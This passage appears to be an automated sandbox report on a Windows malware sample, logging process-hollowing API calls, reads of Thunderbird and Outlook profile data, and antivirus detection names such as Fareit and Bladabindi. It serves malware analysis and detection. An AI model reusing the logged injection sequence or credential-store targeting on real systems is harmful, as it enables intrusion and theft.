 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird\78.4.0 (ko)\Main
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761\Email
Process injection Process 2368 called NtSetContextThread to modify thread in remote process 2068
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000001f8
process_identifier: 2068
1 0 0
Process injection Process 2368 resumed a thread in remote process 2068
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000001f8
suspend_count: 1
process_identifier: 2068
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2248
thread_handle: 0x000001f8
process_identifier: 2068
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000001f4
1 1 0
Elastic malicious (high confidence)
FireEye Generic.mg.ca66da9aeea970c1
McAfee Artemis!CA66DA9AEEA9
Cylance Unsafe
Sangfor Suspicious.Win32.Save.a
BitDefenderTheta Gen:NN.ZemsilF.34236.Am0@aOq3wAg
Cyren W32/MSIL_Kryptik.FXO.gen!Eldorado
Symantec Scr.Malcode!gdn30
ESET-NOD32 a variant of MSIL/GenKryptik.FMJE
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Backdoor.MSIL.Bladabindi.gen
Avast Win32:CrypterX-gen [Trj]
McAfee-GW-Edition BehavesLike.Win32.Fareit.gc
Sophos Mal/Generic-S
SentinelOne Static AI - Malicious PE
Microsoft PWS:Win32/Fareit.MS!MTB
ZoneAlarm HEUR:Backdoor.MSIL.Bladabindi.gen
Cynet Malicious (score: 100)
VBA32 CIL.HeapOverride.Heur
Malwarebytes Trojan.Crypt.MSIL
Yandex Trojan.AvsArher.bUaQs6
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/GenKryptik.FMIQ!tr
AVG Win32:CrypterX-gen [Trj]
CrowdStrike win/malicious_confidence_100% (W)
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2368
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2368
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 2368
1 0 0

NtResumeThread

 thread_handle: 0x00000204
suspend_count: 1
process_identifier: 2368
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2368
1 0 0

CreateProcessInternalW

 thread_identifier: 2248
thread_handle: 0x000001f8
process_identifier: 2068
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000001f4
1 1 0

NtGetContextThread

 thread_handle: 0x000001f8
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2068
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000001f4
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00415000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x004a0000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4274654
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000001f8
process_identifier: 2068
1 0 0

NtResumeThread

 thread_handle: 0x000001f8
suspend_count: 1
process_identifier: 2068
1 0 0

NtResumeThread

 thread_handle: 0x00000110
suspend_count: 1
process_identifier: 2068
1 0 0